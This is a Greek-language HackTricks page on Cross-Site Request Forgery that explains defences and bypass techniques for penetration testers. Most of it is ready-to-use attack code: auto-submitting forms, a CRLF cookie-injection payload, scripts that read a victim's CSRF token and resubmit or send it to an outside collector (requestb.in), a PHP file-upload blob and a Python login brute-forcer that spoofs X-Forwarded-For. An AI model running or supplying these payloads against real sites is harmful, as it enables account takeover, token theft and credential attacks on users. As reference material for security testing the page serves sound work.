CSRF (Cross Site Request Forgery)

Reading time: 18 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εξήγηση της Διασταυρούμενης Αίτησης (CSRF)

Διασταυρούμενη Αίτηση (CSRF) είναι ένας τύπος ευπάθειας ασφαλείας που εντοπίζεται σε διαδικτυακές εφαρμογές. Επιτρέπει στους επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενοι τις αυθεντικοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, που είναι συνδεδεμένος σε μια πλατφόρμα θύματος, επισκέπτεται μια κακόβουλη ιστοσελίδα. Αυτή η ιστοσελίδα στη συνέχεια ενεργοποιεί αιτήματα στον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η λήψη εικόνων.

Προαπαιτούμενα για μια Επίθεση CSRF

Για να εκμεταλλευτεί μια ευπάθεια CSRF, πρέπει να πληρούνται αρκετές προϋποθέσεις:

  1. Εντοπισμός μιας Αξιοσημείωτης Ενέργειας: Ο επιτιθέμενος πρέπει να βρει μια ενέργεια που αξίζει να εκμεταλλευτεί, όπως η αλλαγή του κωδικού πρόσβασης του χρήστη, του email ή η αναβάθμιση δικαιωμάτων.
  2. Διαχείριση Συνεδρίας: Η συνεδρία του χρήστη θα πρέπει να διαχειρίζεται αποκλειστικά μέσω cookies ή της κεφαλίδας HTTP Basic Authentication, καθώς άλλες κεφαλίδες δεν μπορούν να παραποιηθούν για αυτόν τον σκοπό.
  3. Απουσία Απρόβλεπτων Παραμέτρων: Το αίτημα δεν θα πρέπει να περιέχει απρόβλεπτες παραμέτρους, καθώς αυτές μπορούν να αποτρέψουν την επίθεση.

Γρήγορος Έλεγχος

Μπορείτε να καταγράψετε το αίτημα στο Burp και να ελέγξετε τις προστασίες CSRF και για να δοκιμάσετε από τον περιηγητή μπορείτε να κάνετε κλικ στο Αντιγραφή ως fetch και να ελέγξετε το αίτημα:

Άμυνα κατά της CSRF

Μερικά μέτρα κατά της CSRF μπορούν να εφαρμοστούν για την προστασία από επιθέσεις CSRF:

  • SameSite cookies: Αυτό το χαρακτηριστικό αποτρέπει τον περιηγητή από το να στέλνει cookies μαζί με διασταυρούμενα αιτήματα. Περισσότερα για τα SameSite cookies.
  • Cross-origin resource sharing: Η πολιτική CORS της ιστοσελίδας θύματος μπορεί να επηρεάσει τη δυνατότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί την ανάγνωση της απάντησης από την ιστοσελίδα θύμα. Μάθετε για την παράκαμψη CORS.
  • Επαλήθευση Χρήστη: Η προτροπή για τον κωδικό πρόσβασης του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
  • Έλεγχος Κεφαλίδων Referrer ή Origin: Η επικύρωση αυτών των κεφαλίδων μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, η προσεκτική διαμόρφωση των URLs μπορεί να παρακάμψει κακώς υλοποιημένους ελέγχους, όπως:
  • Χρησιμοποιώντας http://mal.net?orig=http://example.com (το URL τελειώνει με το αξιόπιστο URL)
  • Χρησιμοποιώντας http://example.com.mal.net (το URL ξεκινά με το αξιόπιστο URL)
  • Τροποποίηση Ονομάτων Παραμέτρων: Η αλλαγή των ονομάτων παραμέτρων σε αιτήματα POST ή GET μπορεί να βοηθήσει στην αποτροπή αυτοματοποιημένων επιθέσεων.
  • CSRF Tokens: Η ενσωμάτωση ενός μοναδικού CSRF token σε κάθε συνεδρία και η απαίτηση αυτού του token σε επόμενα αιτήματα μπορεί να μειώσει σημαντικά τον κίνδυνο CSRF. Η αποτελεσματικότητα του token μπορεί να ενισχυθεί με την επιβολή CORS.

Η κατανόηση και η εφαρμογή αυτών των αμυνών είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των διαδικτυακών εφαρμογών.

Παράκαμψη Αμυνών

Από POST σε GET

Ίσως η φόρμα που θέλετε να εκμεταλλευτείτε είναι προετοιμασμένη να στείλει ένα POST αίτημα με ένα CSRF token αλλά, θα πρέπει να ελέγξετε αν ένα GET είναι επίσης έγκυρο και αν όταν στείλετε ένα GET αίτημα το CSRF token εξακολουθεί να επικυρώνεται.

Έλλειψη token

Οι εφαρμογές μπορεί να εφαρμόσουν έναν μηχανισμό για επικύρωση tokens όταν είναι παρόντα. Ωστόσο, μια ευπάθεια προκύπτει αν η επικύρωση παραλειφθεί εντελώς όταν το token είναι απών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αφαιρώντας την παράμετρο που φέρει το token, όχι μόνο την τιμή του. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να διεξάγουν μια επίθεση Διασταυρούμενης Αίτησης (CSRF) αποτελεσματικά.

Το CSRF token δεν είναι συνδεδεμένο με τη συνεδρία του χρήστη

Οι εφαρμογές που δεν συνδέουν τα CSRF tokens με τις συνεδρίες χρηστών παρουσιάζουν σημαντικό κίνδυνο ασφαλείας. Αυτά τα συστήματα επαληθεύουν τα tokens έναντι μιας παγκόσμιας δεξαμενής αντί να διασφαλίζουν ότι κάθε token είναι δεσμευμένο στη συνεδρία που το ξεκίνησε.

Ακολουθεί πώς οι επιτιθέμενοι εκμεταλλεύονται αυτό:

  1. Αυθεντικοποίηση χρησιμοποιώντας τον δικό τους λογαριασμό.
  2. Απόκτηση ενός έγκυρου CSRF token από την παγκόσμια δεξαμενή.
  3. Χρήση αυτού του token σε μια επίθεση CSRF κατά ενός θύματος.

Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να κάνουν μη εξουσιοδοτημένα αιτήματα εκ μέρους του θύματος, εκμεταλλευόμενοι τον ανεπαρκή μηχανισμό επικύρωσης token της εφαρμογής.

Παράκαμψη μεθόδου

Αν το αίτημα χρησιμοποιεί μια "παράξενη" μέθοδο, ελέγξτε αν η λειτουργία παράκαμψης μεθόδου λειτουργεί. Για παράδειγμα, αν χρησιμοποιεί μέθοδο PUT μπορείτε να δοκιμάσετε να χρησιμοποιήσετε μια μέθοδο POST και να στείλετε: https://example.com/my/dear/api/val/num?_method=PUT

Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την παράμετρο _method μέσα σε ένα αίτημα POST ή χρησιμοποιώντας τις κεφαλίδες:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Παράκαμψη token προσαρμοσμένης κεφαλίδας

Αν το αίτημα προσθέτει μια προσαρμοσμένη κεφαλίδα με ένα token στο αίτημα ως μέθοδο προστασίας CSRF, τότε:

  • Δοκιμάστε το αίτημα χωρίς το Προσαρμοσμένο Token και επίσης την κεφαλίδα.
  • Δοκιμάστε το αίτημα με ακριβώς ίδιο μήκος αλλά διαφορετικό token.

Οι εφαρμογές μπορεί να εφαρμόσουν προστασία CSRF διπλασιάζοντας το token τόσο σε ένα cookie όσο και σε μια παράμετρο αιτήματος ή ρυθμίζοντας ένα cookie CSRF και επαληθεύοντας αν το token που αποστέλλεται στο backend αντιστοιχεί στο cookie. Η εφαρμογή επικυρώνει τα αιτήματα ελέγχοντας αν το token στην παράμετρο αιτήματος ευθυγραμμίζεται με την τιμή στο cookie.

Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε επιθέσεις CSRF αν η ιστοσελίδα έχει ελαττώματα που επιτρέπουν σε έναν επιτιθέμενο να ρυθμίσει ένα cookie CSRF στον περιηγητή του θύματος, όπως μια ευπάθεια CRLF. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό φορτώνοντας μια παραπλανητική εικόνα που ρυθμίζει το cookie, ακολουθούμενη από την έναρξη της επίθεσης CSRF.

Ακολουθεί ένα παράδειγμα του πώς θα μπορούσε να δομηθεί μια επίθεση:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

note

Σημειώστε ότι αν το csrf token σχετίζεται με το cookie της συνεδρίας, αυτή η επίθεση δεν θα λειτουργήσει γιατί θα χρειαστεί να ορίσετε τη συνεδρία του θύματος, και επομένως θα επιτίθεστε στον εαυτό σας.

Αλλαγή Content-Type

Σύμφωνα με αυτό, προκειμένου να αποφευχθούν οι προετοιμασίες αιτήσεων χρησιμοποιώντας τη μέθοδο POST, αυτές είναι οι επιτρεπόμενες τιμές Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Ωστόσο, σημειώστε ότι η λογική των διακομιστών μπορεί να διαφέρει ανάλογα με το Content-Type που χρησιμοποιείται, οπότε θα πρέπει να δοκιμάσετε τις αναφερόμενες τιμές και άλλες όπως application/json,text/xml, application/xml.

Παράδειγμα (από εδώ) αποστολής δεδομένων JSON ως text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Παράκαμψη Προετοιμασίας Αιτημάτων για Δεδομένα JSON

Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του Content-Type: application/json σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του XMLHttpRequest για την αποστολή αυτού του τύπου περιεχομένου ξεκινά ένα προετοιμασμένο αίτημα. Παρ' όλα αυτά, υπάρχουν στρατηγικές για να παρακαμφθεί αυτή η περιοριστική κατάσταση και να ελεγχθεί αν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:

  1. Χρήση Εναλλακτικών Τύπων Περιεχομένου: Χρησιμοποιήστε Content-Type: text/plain ή Content-Type: application/x-www-form-urlencoded ορίζοντας enctype="text/plain" στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
  2. Τροποποίηση Τύπου Περιεχομένου: Για να αποφύγετε ένα προετοιμασμένο αίτημα ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με Content-Type: text/plain; application/json. Αυτό δεν ενεργοποιεί ένα προετοιμασμένο αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται application/json.
  3. Χρήση Αρχείου SWF Flash: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιορισμοί. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε αυτή την ανάρτηση.

Παράκαμψη Ελέγχου Referrer / Origin

Αποφύγετε την κεφαλίδα Referrer

Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν είναι παρούσα. Για να αποτρέψετε έναν περιηγητή από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί η παρακάτω HTML μετα-ετικέτα:

xml
<meta name="referrer" content="never">

Αυτό διασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, ενδεχομένως παρακάμπτοντας ελέγχους επικύρωσης σε ορισμένες εφαρμογές.

Παρακάμψεις Regexp

URL Format Bypass

Για να ορίσετε το όνομα τομέα του διακομιστή στη διεύθυνση URL που θα στείλει ο Referrer μέσα στις παραμέτρους, μπορείτε να κάνετε:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Το πρώτο μέρος του αυτού του CTF writeup εξηγεί ότι ο πηγαίος κώδικας του Oak, ένας δρομολογητής, έχει ρυθμιστεί να χειρίζεται τα αιτήματα HEAD ως αιτήματα GET χωρίς σώμα απόκρισης - μια κοινή λύση που δεν είναι μοναδική για τον Oak. Αντί για έναν συγκεκριμένο χειριστή που ασχολείται με τα αιτήματα HEAD, απλά δίνονται στον χειριστή GET αλλά η εφαρμογή απλά αφαιρεί το σώμα απόκρισης.

Επομένως, αν ένα αίτημα GET περιορίζεται, μπορείτε απλά να στείλετε ένα αίτημα HEAD που θα επεξεργαστεί ως αίτημα GET.

Exploit Examples

Exfiltrating CSRF Token

Αν χρησιμοποιείται ένα CSRF token ως άμυνα, μπορείτε να προσπαθήσετε να εξάγετε το εκμεταλλευόμενοι μια XSS ευπάθεια ή μια Dangling Markup ευπάθεια.

GET using HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Άλλες ετικέτες HTML5 που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα GET αίτημα είναι:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Αίτημα GET φόρμας

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Αίτημα POST φόρμας

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Αίτημα POST φόρμας μέσω iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST αίτημα

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST αίτημα

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST αίτημα v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Αίτημα POST φόρμας από μέσα σε ένα iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Κλέψε το CSRF Token και στείλε ένα POST αίτημα

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Κλοπή CSRF Token και αποστολή αίτησης Post χρησιμοποιώντας ένα iframe, μια φόρμα και Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Κλέψε το CSRF Token και στείλε ένα POST αίτημα χρησιμοποιώντας ένα iframe και μια φόρμα

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Κλέψε το token και στείλε το χρησιμοποιώντας 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTΚλέψε το CSRF token με Ajax και στείλε μια ανάρτηση με μια φόρμα

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF με Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Ο κώδικας μπορεί να χρησιμοποιηθεί για να επιτεθεί σε μια φόρμα σύνδεσης χρησιμοποιώντας ένα CSRF token (Χρησιμοποιεί επίσης την κεφαλίδα X-Forwarded-For για να προσπαθήσει να παρακάμψει μια πιθανή μαύρη λίστα IP):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Εργαλεία

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks